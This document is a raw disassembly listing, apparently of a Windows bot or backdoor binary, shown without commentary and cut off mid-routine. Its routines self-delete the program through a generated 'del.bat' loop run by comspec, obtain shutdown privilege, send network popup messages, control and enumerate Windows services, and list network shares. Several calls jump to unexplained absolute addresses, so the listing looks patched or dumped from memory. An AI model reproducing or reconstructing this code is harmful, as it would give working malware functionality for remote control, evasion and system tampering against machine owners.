push [esp+10h+arg_0] mov ebx, eax push ebx call sub_41B886 pop ecx pop ecx push esi push 1 push 4C8h push ebp call dword_4CAFD0 push esi push 1 push 4C9h push ebp call dword_4CAFD0 push ebx nop call near ptr 2810000h push edi nop call near ptr 2670858h push 1 pop eax pop ebx jmp short loc_41828F ; --------------------------------------------------------------------------- loc_41828D: ; CODE XREF: sub_418211+16j xor eax, eax loc_41828F: ; CODE XREF: sub_418211+7Aj pop edi pop esi pop ebp retn sub_418211 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418293 proc near ; CODE XREF: ___:00401433p var_11C = byte ptr -11Ch var_18 = byte ptr -18h var_10 = byte ptr -10h var_8 = byte ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 11Ch push ebx push esi xor esi, esi push edi lea eax, [ebp+var_11C] push esi push eax push 104h push esi push offset aExplorer_exe ; "explorer.exe" push esi call dword_4CB030 test eax, eax jz short loc_418332 mov edi, 80h push esi push edi push 3 push esi mov esi, dword_4270EC push 1 lea eax, [ebp+var_11C] push 80000000h push eax call esi mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_418332 lea eax, [ebp+var_18] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_10] push eax push ebx nop call near ptr 282073Dh push ebx mov ebx, dword_427068 call ebx push 0 push edi push 3 push 0 push 2 push 40000000h push [ebp+arg_0] call esi mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_418332 lea eax, [ebp+var_18] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_10] push eax push esi nop call near ptr 2820000h push esi call ebx loc_418332: ; CODE XREF: sub_418293+2Aj ; sub_418293+51j ... pop edi pop esi pop ebx leave retn sub_418293 endp ; =============== S U B R O U T I N E ======================================= sub_418337 proc near ; CODE XREF: sub_401ACD+16B1p push 1 push offset aSeshutdownpriv ; "SeShutdownPrivilege" call sub_419651 pop ecx pop ecx push 50005h push 6 call dword_4CAEB4 neg eax sbb eax, eax neg eax retn sub_418337 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418359 proc near ; CODE XREF: sub_401ACD+2754p ; ___:0041686Bp var_764 = byte ptr -764h var_364 = byte ptr -364h var_260 = byte ptr -260h var_15C = byte ptr -15Ch var_58 = dword ptr -58h var_4C = dword ptr -4Ch var_2C = dword ptr -2Ch var_28 = word ptr -28h var_14 = byte ptr -14h var_4 = byte ptr -4 push ebp mov ebp, esp sub esp, 764h push esi xor esi, esi cmp dword_429090, esi push edi jz short loc_41837D cmp dword_4CB044, esi jnz short loc_41837D push esi call sub_401000 pop ecx loc_41837D: ; CODE XREF: sub_418359+13j ; sub_418359+1Bj call sub_40B2BF lea eax, [ebp+var_764] push eax push 400h call near ptr 26B0000h nop lea eax, [ebp+var_764] push eax lea eax, [ebp+var_260] push offset aSdel_bat ; "%sdel.bat" push eax call sub_41B886 add esp, 0Ch lea eax, [ebp+var_260] push esi push esi push 2 push esi push esi push 40000000h push eax nop call near ptr 271092Ch mov edi, eax cmp edi, esi jbe loc_4184DD lea eax, [ebp+var_260] push eax lea eax, [ebp+var_764] push offset a@echoOffRepeat ; "@echo off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"... push eax call sub_41B886 add esp, 0Ch lea eax, [ebp+var_4] push esi push eax lea eax, [ebp+var_764] push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_764] push eax push edi nop call near ptr 2700000h push edi call near ptr 2670858h nop push 10h lea eax, [ebp+var_14] push esi push eax call sub_41B590 push 44h lea eax, [ebp+var_58] pop edi push edi push esi push eax call sub_41B590 add esp, 18h mov [ebp+var_58], edi mov edi, 104h lea eax, [ebp+var_15C] push edi push eax push esi mov [ebp+var_4C], offset dword_43D128 mov [ebp+var_2C], 1 mov [ebp+var_28], si nop call near ptr 26A0574h push eax nop call near ptr 2680000h lea eax, [ebp+var_15C] push eax call near ptr 26A047Ah nop cmp eax, 0FFFFFFFFh jz short loc_418485 lea eax, [ebp+var_15C] push 80h push eax nop call near ptr 26A0305h loc_418485: ; CODE XREF: sub_418359+118j lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_260] push eax lea eax, [ebp+var_764] push offset aComspecCSS ; "%%comspec%% /c %s %s" push eax call sub_41B886 add esp, 10h lea eax, [ebp+var_364] push edi push eax lea eax, [ebp+var_764] push eax nop call near ptr 2830000h lea eax, [ebp+var_14] push eax lea eax, [ebp+var_58] push eax push esi push esi push 4008h push 1 push esi lea eax, [ebp+var_364] push esi push eax push esi nop call near ptr 2670C08h loc_4184DD: ; CODE XREF: sub_418359+72j pop edi pop esi leave retn sub_418359 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4184E1 proc near ; CODE XREF: sub_401ACD+7232p var_294 = byte ptr -294h var_94 = dword ptr -94h var_84 = dword ptr -84h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 294h push edi xor edi, edi push 94h lea eax, [ebp+var_94] push edi push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_94] mov [ebp+var_94], 94h push eax nop call near ptr 26E05B4h cmp [ebp+var_84], 2 jnz short loc_418577 push [ebp+arg_10] push [ebp+arg_C] call dword_4CAEF4 push edi push eax call dword_4CAF04 test eax, eax jz short loc_418569 push [ebp+arg_10] push offset dword_438984 loc_418542: ; CODE XREF: sub_4184E1+94j lea eax, [ebp+var_294] push eax call sub_41B886 push edi lea eax, [ebp+var_294] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 20h jmp short loc_4185A1 ; --------------------------------------------------------------------------- loc_418569: ; CODE XREF: sub_4184E1+57j call near ptr 2690DCCh nop push eax push offset unk_43895C jmp short loc_418542 ; --------------------------------------------------------------------------- loc_418577: ; CODE XREF: sub_4184E1+3Fj lea eax, [ebp+var_294] push offset unk_43892C push eax call sub_41B886 push edi lea eax, [ebp+var_294] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 1Ch loc_4185A1: ; CODE XREF: sub_4184E1+86j pop edi leave retn sub_4184E1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4185A4 proc near ; CODE XREF: sub_401ACD+55FEp var_1C0 = byte ptr -1C0h var_15C = byte ptr -15Ch var_F8 = byte ptr -0F8h var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_84 = dword ptr -84h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 1C0h lea eax, [ebp+var_94] mov [ebp+var_94], 94h push eax nop call near ptr 26E05B4h cmp [ebp+var_90], 4 jnz short loc_4185FA cmp [ebp+var_8C], 0 jnz short loc_4185E3 push 1 pop eax cmp [ebp+var_84], eax jnz short loc_4185FA leave retn ; --------------------------------------------------------------------------- loc_4185E3: ; CODE XREF: sub_4185A4+30j cmp [ebp+var_8C], 0Ah jz short loc_4185F5 cmp [ebp+var_8C], 5Ah jnz short loc_4185FA loc_4185F5: ; CODE XREF: sub_4185A4+46j push 1 pop eax leave retn ; --------------------------------------------------------------------------- loc_4185FA: ; CODE XREF: sub_4185A4+27j ; sub_4185A4+3Bj ... push esi push edi push offset aNetapi32_dll ; "netapi32.dll" nop call near ptr 26B0BEDh mov esi, eax push offset aNetmessagebuff ; "NetMessageBufferSend" push esi call near ptr 26C0000h nop push 32h mov edi, eax push [ebp+arg_0] lea eax, [ebp+var_1C0] push eax call sub_41D834 push 32h lea eax, [ebp+var_15C] push [ebp+arg_4] push eax call sub_41D834 push 32h lea eax, [ebp+var_F8] push [ebp+arg_8] push eax call sub_41D834 lea eax, [ebp+var_F8] push eax call sub_41D817 shl eax, 1 push eax lea eax, [ebp+var_F8] push eax lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_1C0] push eax push 0 call edi add esp, 3Ch mov edi, eax push esi nop call near ptr 27B04A2h mov eax, edi pop edi pop esi leave retn sub_4185A4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418684 proc near ; CODE XREF: sub_40111D+F7p ; ___:0040E6E2p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push esi nop call near ptr 26A0B9Fh push eax call sub_41B8D8 pop ecx call sub_41B8E2 mov esi, [ebp+arg_0] mov [ebp+var_4], eax mov eax, [ebp+arg_4] fild [ebp+var_4] sub eax, esi mov [ebp+arg_4], eax fimul [ebp+arg_4] fmul dbl_427700 call sub_41C798 sub esi, eax mov eax, esi pop esi leave retn sub_418684 endp ; =============== S U B R O U T I N E ======================================= sub_4186C1 proc near ; CODE XREF: sub_401ACD:loc_406126p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi push edi mov edi, [esp+8+arg_4] test edi, edi jz short loc_418719 lea esi, [eax+eax*2] push 0 shl esi, 2 push 0 push dword_4389A8[esi] push edi push eax call sub_41873B add esp, 14h test eax, eax jnz short loc_418709 push edi push off_4389A4[esi] push offset unk_438AB8 loc_4186F9: ; CODE XREF: sub_4186C1+56j mov esi, offset dword_4DAFF0 push esi call sub_41B886 add esp, 10h jmp short loc_418736 ; --------------------------------------------------------------------------- loc_418709: ; CODE XREF: sub_4186C1+2Aj push eax call sub_4187DD pop ecx push eax push edi push offset unk_438A8C jmp short loc_4186F9 ; --------------------------------------------------------------------------- loc_418719: ; CODE XREF: sub_4186C1+Cj lea eax, [eax+eax*2] mov esi, offset dword_4DAFF0 push off_4389A0[eax*4] push offset unk_438A68 push esi call sub_41B886 add esp, 0Ch loc_418736: ; CODE XREF: sub_4186C1+46j mov eax, esi pop edi pop esi retn sub_4186C1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41873B proc near ; CODE XREF: sub_4186C1+20p var_1C = byte ptr -1Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 1Ch push ebx push edi xor ebx, ebx push 0F003Fh push ebx push ebx call dword_4CAF68 mov edi, eax cmp edi, ebx jnz short loc_418762 call near ptr 2690DCCh nop mov ebx, eax jmp short loc_4187D7 ; --------------------------------------------------------------------------- loc_418762: ; CODE XREF: sub_41873B+1Bj push esi push 0F01FFh push [ebp+arg_4] push edi call dword_4CAE50 mov esi, eax cmp esi, ebx jnz short loc_418782 call near ptr 2690DCCh nop mov ebx, eax jmp short loc_4187CF ; --------------------------------------------------------------------------- loc_418782: ; CODE XREF: sub_41873B+3Bj mov eax, [ebp+arg_0] cmp eax, 1 jz short loc_4187B5 cmp eax, 3 jz short loc_4187A6 jle short loc_4187C8 cmp eax, 6 jg short loc_4187C8 lea eax, [ebp+var_1C] push eax push [ebp+arg_8] push esi call dword_4CAEBC jmp short loc_4187BC ; --------------------------------------------------------------------------- loc_4187A6: ; CODE XREF: sub_41873B+52j push [ebp+arg_10] push [ebp+arg_C] push esi call dword_4CAE58 jmp short loc_4187BC ; --------------------------------------------------------------------------- loc_4187B5: ; CODE XREF: sub_41873B+4Dj push esi call dword_4CAEC0 loc_4187BC: ; CODE XREF: sub_41873B+69j ; sub_41873B+78j test eax, eax jnz short loc_4187C8 call near ptr 2690DCCh nop mov ebx, eax loc_4187C8: ; CODE XREF: sub_41873B+54j ; sub_41873B+59j ... push esi call dword_4CAE6C loc_4187CF: ; CODE XREF: sub_41873B+45j push edi call dword_4CAE6C pop esi loc_4187D7: ; CODE XREF: sub_41873B+25j mov eax, ebx pop edi pop ebx leave retn sub_41873B endp ; =============== S U B R O U T I N E ======================================= sub_4187DD proc near ; CODE XREF: sub_4186C1+49p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, 420h cmp eax, ecx ja loc_418892 jz loc_41888B add ecx, 0FFFFFFFBh cmp eax, ecx ja short loc_418855 jz short loc_41884B mov ecx, eax sub ecx, 3 jz short loc_418841 dec ecx dec ecx jz short loc_418837 dec ecx jz short loc_41882D sub ecx, 51h jz short loc_418823 sub ecx, 24h jnz loc_418908 ; default ; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16 push offset aTheSpecifiedSe ; "The specified service name is invalid." jmp loc_4188FA ; --------------------------------------------------------------------------- loc_418823: ; CODE XREF: sub_4187DD+31j push offset aTheRequestedCo ; "The requested control code is undefined"... jmp loc_4188FA ; --------------------------------------------------------------------------- loc_41882D: ; CODE XREF: sub_4187DD+2Cj push offset aTheHandleIsInv ; "The handle is invalid." jmp loc_4188FA ; --------------------------------------------------------------------------- loc_418837: ; CODE XREF: sub_4187DD+29j push offset aTheHandleDoesN ; "The handle does not have the required a"... jmp loc_4188FA ; --------------------------------------------------------------------------- loc_418841: ; CODE XREF: sub_4187DD+25j push offset aTheServiceBina ; "The service binary file could not be fo"... jmp loc_4188FA ; --------------------------------------------------------------------------- loc_41884B: ; CODE XREF: sub_4187DD+1Ej push offset aTheServiceCann ; "The service cannot be stopped because o"... jmp loc_4188FA ; --------------------------------------------------------------------------- loc_418855: ; CODE XREF: sub_4187DD+1Cj mov ecx, eax sub ecx, 41Ch jz short loc_418884 dec ecx jz short loc_41887D dec ecx jz short loc_418876 dec ecx jnz loc_418908 ; default ; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16 push offset aTheDatabaseIsL ; "The database is locked." jmp loc_4188FA ; --------------------------------------------------------------------------- loc_418876: ; CODE XREF: sub_4187DD+86j push offset aAThreadCouldNo ; "A thread could not be created for the s"... jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_41887D: ; CODE XREF: sub_4187DD+83j push offset aTheProcessForT ; "The process for the service was started"... jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_418884: ; CODE XREF: sub_4187DD+80j push offset aTheRequested_0 ; "The requested control code is not valid"... jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_41888B: ; CODE XREF: sub_4187DD+11j push offset aAnInstanceOfTh ; "An instance of the service is already r"... jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_418892: ; CODE XREF: sub_4187DD+Bj mov ecx, 45Bh cmp eax, ecx ja short loc_418908 ; default ; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16 jz short loc_4188F5 lea ecx, [eax-422h] cmp ecx, 11h ; switch 18 cases ja short loc_418908 ; default ; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16 movzx ecx, byte_418949[ecx] jmp off_418921[ecx*4] ; switch jump loc_4188B6: ; DATA XREF: ___:off_418921o push offset aTheSpecifiedDa ; jumptable 004188AF case 7 jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_4188BD: ; CODE XREF: sub_4187DD+D2j ; DATA XREF: ___:off_418921o push offset aTheServiceDepe ; jumptable 004188AF case 17 jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_4188C4: ; CODE XREF: sub_4187DD+D2j ; DATA XREF: ___:off_418921o push offset aTheServiceDe_0 ; jumptable 004188AF case 10 jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_4188CB: ; CODE XREF: sub_4187DD+D2j ; DATA XREF: ___:off_418921o push offset aTheServiceHasB ; jumptable 004188AF case 0 jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_4188D2: ; CODE XREF: sub_4187DD+D2j ; DATA XREF: ___:off_418921o push offset aTheSpecified_0 ; jumptable 004188AF case 2 jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_4188D9: ; CODE XREF: sub_4187DD+D2j ; DATA XREF: ___:off_418921o push offset aTheServiceCoul ; jumptable 004188AF case 11 jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_4188E0: ; CODE XREF: sub_4187DD+D2j ; DATA XREF: ___:off_418921o push offset aTheServiceHa_0 ; jumptable 004188AF case 14 jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_4188E7: ; CODE XREF: sub_4187DD+D2j ; DATA XREF: ___:off_418921o push offset aTheRequested_1 ; jumptable 004188AF case 3 jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_4188EE: ; CODE XREF: sub_4187DD+D2j ; DATA XREF: ___:off_418921o push offset aTheServiceHasN ; jumptable 004188AF case 4 jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_4188F5: ; CODE XREF: sub_4187DD+BEj push offset aTheSystemIsShu ; "The system is shutting down." loc_4188FA: ; CODE XREF: sub_4187DD+41j ; sub_4187DD+4Bj ... push offset dword_4DA930 call sub_41B886 pop ecx pop ecx jmp short loc_41891B ; --------------------------------------------------------------------------- loc_418908: ; CODE XREF: sub_4187DD+36j ; sub_4187DD+89j ... push eax ; default ; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16 push offset aAnUnknownError ; "An unknown error occurred: <%ld>" push offset dword_4DA930 call sub_41B886 add esp, 0Ch loc_41891B: ; CODE XREF: sub_4187DD+129j mov eax, offset dword_4DA930 retn sub_4187DD endp ; --------------------------------------------------------------------------- off_418921 dd offset loc_4188CB ; DATA XREF: sub_4187DD+D2r dd offset loc_4188D2 ; jump table for switch statement dd offset loc_4188E7 dd offset loc_4188EE dd offset loc_4188B6 dd offset loc_4188C4 dd offset loc_4188D9 dd offset loc_4188E0 dd offset loc_4188BD dd offset loc_418908 byte_418949 db 0, 9, 1, 2 ; DATA XREF: sub_4187DD+CBr db 3, 9, 9, 4 ; indirect table for switch statement db 9, 9, 5, 6 db 9, 9, 7, 9 db 9, 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41895B proc near ; CODE XREF: sub_401ACD+45D3p var_38C = byte ptr -38Ch var_18C = byte ptr -18Ch var_188 = byte ptr -188h var_24 = byte ptr -24h var_20 = byte ptr -20h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 38Ch push ebx push esi push edi xor ebx, ebx push 0F003Fh push ebx push ebx mov [ebp+var_8], ebx call dword_4CAF68 push ebx mov [ebp+var_C], eax push [ebp+arg_8] push offset aTheFollowingWi ; "The following Windows services are regi"... push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_418993: ; CODE XREF: sub_41895B+120j lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_24] push eax lea eax, [ebp+var_18C] push 168h push eax push 3 push 30h push [ebp+var_C] call dword_4CAF34 test eax, eax jnz short loc_4189CD nop call near ptr 2690DCCh cmp eax, 0EAh jnz loc_418A81 loc_4189CD: ; CODE XREF: sub_41895B+5Fj xor edi, edi cmp [ebp+var_4], ebx jle loc_418A78 lea esi, [ebp+var_188] loc_4189DE: ; CODE XREF: sub_41895B+117j mov eax, [esi+8] dec eax jz short loc_418A27 dec eax jz short loc_418A20 dec eax jz short loc_418A19 dec eax jz short loc_418A12 dec eax jz short loc_418A0B dec eax jz short loc_418A04 dec eax jz short loc_4189FD push offset aUnknown_0 ; " Unknown" jmp short loc_418A2C ; --------------------------------------------------------------------------- loc_4189FD: ; CODE XREF: sub_41895B+99j push offset aPaused_0 ; " Paused" jmp short loc_418A2C ; --------------------------------------------------------------------------- loc_418A04: ; CODE XREF: sub_41895B+96j push offset aPausing ; " Pausing" jmp short loc_418A2C ; --------------------------------------------------------------------------- loc_418A0B: ; CODE XREF: sub_41895B+93j push offset aContinuing ; " Continuing" jmp short loc_418A2C ; --------------------------------------------------------------------------- loc_418A12: ; CODE XREF: sub_41895B+90j push offset aRunning ; " Running" jmp short loc_418A2C ; --------------------------------------------------------------------------- loc_418A19: ; CODE XREF: sub_41895B+8Dj push offset aStoping ; " Stoping" jmp short loc_418A2C ; --------------------------------------------------------------------------- loc_418A20: ; CODE XREF: sub_41895B+8Aj push offset aStarting ; " Starting" jmp short loc_418A2C ; --------------------------------------------------------------------------- loc_418A27: ; CODE XREF: sub_41895B+87j push offset aStopped ; " Stopped" loc_418A2C: ; CODE XREF: sub_41895B+A0j ; sub_41895B+A7j ... lea eax, [ebp+var_20] push eax call sub_41B886 pop ecx lea eax, [ebp+var_20] pop ecx push dword ptr [esi] push dword ptr [esi-4] push eax lea eax, [ebp+var_38C] push offset aSSS ; "%s: %s (%s)" push eax call sub_41B886 push 1 lea eax, [ebp+var_38C] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 28h inc edi add esi, 24h cmp edi, [ebp+var_4] jl loc_4189DE loc_418A78: ; CODE XREF: sub_41895B+77j cmp [ebp+var_8], ebx jnz loc_418993 loc_418A81: ; CODE XREF: sub_41895B+6Cj push [ebp+var_C] call dword_4CAE6C xor eax, eax pop edi cmp eax, [ebp+var_4] pop esi pop ebx sbb eax, eax neg eax leave retn sub_41895B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418A98 proc near ; CODE XREF: sub_401ACD:loc_406166p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_4] test edi, edi jz loc_418B32 mov esi, [ebp+arg_0] mov eax, esi sub eax, 0 jz short loc_418AC1 dec eax jnz short loc_418B12 push edi push 0 call sub_418C6B pop ecx pop ecx jmp short loc_418B0E ; --------------------------------------------------------------------------- loc_418AC1: ; CODE XREF: sub_418A98+18j cmp [ebp+arg_8], 0 jnz short loc_418B00 push 24h push edi call sub_41BFB0 pop ecx test eax, eax pop ecx jnz short loc_418B00 push 57h pop eax loc_418AD8: ; CODE XREF: sub_418A98+78j push eax call sub_41945F pop ecx push eax lea eax, [esi+esi*2] push edi mov esi, offset dword_4DABEC push off_4389A0[eax*4] push offset unk_43904C push esi call sub_41B886 add esp, 14h jmp short loc_418B52 ; --------------------------------------------------------------------------- loc_418B00: ; CODE XREF: sub_418A98+2Dj ; sub_418A98+3Bj push [ebp+arg_8] push edi push 0 call sub_418BBF add esp, 0Ch loc_418B0E: ; CODE XREF: sub_418A98+27j test eax, eax jnz short loc_418AD8 loc_418B12: ; CODE XREF: sub_418A98+1Bj lea eax, [esi+esi*2] push edi mov esi, offset dword_4DABEC push off_4389A4[eax*4] push offset dword_439030 push esi call sub_41B886 add esp, 10h jmp short loc_418B52 ; --------------------------------------------------------------------------- loc_418B32: ; CODE XREF: sub_418A98+Aj mov eax, [ebp+arg_0] mov esi, offset dword_4DABEC lea eax, [eax+eax*2] push off_4389A0[eax*4] push offset unk_43900C push esi call sub_41B886 add esp, 0Ch loc_418B52: ; CODE XREF: sub_418A98+66j ; sub_418A98+98j mov eax, esi pop edi pop esi pop ebp retn sub_418A98 endp ; =============== S U B R O U T I N E ======================================= sub_418B58 proc near ; CODE XREF: sub_419E79+245p arg_0 = dword ptr 4 arg_C = dword ptr 10h push esi xor esi, esi cmp [esp+4+arg_0], esi jnz short loc_418B65 xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_418B65: ; CODE XREF: sub_418B58+7j push ebx push ebp push edi push esi push esi push esi mov edi, dword_42717C push esi push 0FFFFFFFFh mov ebx, 400h push [esp+24h+arg_0] push ebx push esi call edi test byte_4DADEC, 1 mov ebp, eax jnz short loc_418BA2 or byte_4DADEC, 1 lea eax, [ebp+1] push eax call sub_41CFC5 pop ecx mov dword_4DAB8C, eax loc_418BA2: ; CODE XREF: sub_418B58+32j push esi push esi push ebp push dword_4DAB8C push 0FFFFFFFFh push [esp+18h+arg_C] push ebx push esi call edi mov eax, dword_4DAB8C pop edi pop ebp pop ebx pop esi retn sub_418B58 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418BBF proc near ; CODE XREF: sub_418A98+6Ep ; sub_41A19D+18Ap ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 20h push edi push [ebp+arg_0] call sub_418C2A push [ebp+arg_4] mov edi, eax call sub_418C2A push 24h mov [ebp+var_20], eax push [ebp+arg_4] call sub_41BFB0 push [ebp+arg_8] mov [ebp+var_14], 7Fh neg eax sbb eax, eax and [ebp+var_18], 0 or [ebp+var_10], 0FFFFFFFFh and [ebp+var_C], 0 and eax, 80000000h mov [ebp+var_1C], eax call sub_418C2A add esp, 14h mov [ebp+var_8], eax and [ebp+var_4], 0 lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_20] push eax push 2 push edi call dword_4CAE68 pop edi leave retn sub_418BBF endp ; =============== S U B R O U T I N E ======================================= sub_418C2A proc near ; CODE XREF: sub_418BBF+Ap ; sub_418BBF+14p ... arg_0 = dword ptr 4 push ebp mov ebp, [esp+4+arg_0] xor eax, eax cmp ebp, eax jnz short loc_418C37 pop ebp retn ; --------------------------------------------------------------------------- loc_418C37: ; CODE XREF: sub_418C2A+9j push ebx push esi mov esi, dword_427180 push edi push eax push eax push 0FFFFFFFFh push ebp push 1 push eax call esi mov edi, eax lea eax, [edi+edi+2] push eax call sub_41CFC5 pop ecx mov ebx, eax push edi push ebx push 0FFFFFFFFh push ebp push 1 push 0 call esi pop edi mov eax, ebx pop esi pop ebx pop ebp retn sub_418C2A endp ; =============== S U B R O U T I N E ======================================= sub_418C6B proc near ; CODE XREF: sub_418A98+20p ; sub_419E79+1BBp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_418C2A push [esp+8+arg_4] mov esi, eax call sub_418C2A pop ecx pop ecx push 0 push eax push esi call dword_4CAE40 pop esi retn sub_418C6B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418C8E proc near ; CODE XREF: sub_401ACD+46B0p var_210 = byte ptr -210h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 210h push ebx push esi push edi push [ebp+arg_C] call sub_418C2A xor esi, esi mov [ebp+var_C], eax push esi mov [ebp+arg_C], esi push [ebp+arg_8] mov [ebp+var_8], esi mov [ebp+var_10], esi push offset aShareNameResou ; "Share name: Resource: "... push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 18h loc_418CC7: ; CODE XREF: sub_418C8E+10Fj lea eax, [ebp+var_10] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_4] push 0FFFFFFFFh push eax push 1F6h push [ebp+var_C] call dword_4CAEB8 mov ebx, eax cmp ebx, esi jz short loc_418D2A cmp ebx, 0EAh jz short loc_418D2A push ebx push ebx call sub_41945F pop ecx push eax lea eax, [ebp+var_210] push offset unk_439098 push eax call sub_41B886 push esi lea eax, [ebp+var_210] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 24h jmp short loc_418D97 ; --------------------------------------------------------------------------- loc_418D2A: ; CODE XREF: sub_418C8E+5Dj ; sub_418C8E+65j push 1 pop edi cmp [ebp+arg_C], edi jb short loc_418D8E mov eax, [ebp+var_4] lea esi, [eax+14h] loc_418D38: ; CODE XREF: sub_418C8E+FCj push dword ptr [esi+10h] call dword_4CAE5C test eax, eax mov eax, offset aYes ; "Yes" jnz short loc_418D4F mov eax, offset aNo ; "No" loc_418D4F: ; CODE XREF: sub_418C8E+BAj push eax lea eax, [ebp+var_210] push dword ptr [esi] push dword ptr [esi+4] push dword ptr [esi-14h] push offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s" push eax call sub_41B886 push 1 lea eax, [ebp+var_210] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 2Ch add esi, 28h inc edi cmp edi, [ebp+arg_C] jbe short loc_418D38 xor esi, esi loc_418D8E: ; CODE XREF: sub_418C8E+A2j push [ebp+var_4] call dword_4CB004 loc_418D97: ; CODE XREF: sub_418C8E+9Aj cmp ebx, 0EAh jz loc_418CC7 xor eax, eax cmp ebx, esi pop edi pop esi setz al pop ebx leave retn sub_418C8E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418DAF proc near ; CODE XREF: sub_401ACD:loc_4061EEp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_4] push esi push edi xor edi, edi cmp ebx, edi jz loc_418E54 mov esi, [ebp+arg_0] mov eax, esi sub eax, edi jz short loc_418DF1 dec eax jz short loc_418DE6 dec eax jnz short loc_418E0C push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push ebx push edi call sub_418EF6 add esp, 14h jmp short loc_418E08 ; --------------------------------------------------------------------------- loc_418DE6: ; CODE XREF: sub_418DAF+1Dj push ebx push edi call sub_418ED5 pop ecx pop ecx jmp short loc_418E08 ; --------------------------------------------------------------------------- loc_418DF1: ; CODE XREF: sub_418DAF+1Aj cmp [ebp+arg_8], edi jz short loc_418E05 push [ebp+arg_8] push ebx push edi call sub_418E7B add esp, 0Ch jmp short loc_418E08 ; --------------------------------------------------------------------------- loc_418E05: ; CODE XREF: sub_418DAF+45j push 57h pop eax loc_418E08: ; CODE XREF: sub_418DAF+35j ; sub_418DAF+40j ... cmp eax, edi jnz short loc_418E2C loc_418E0C: ; CODE XREF: 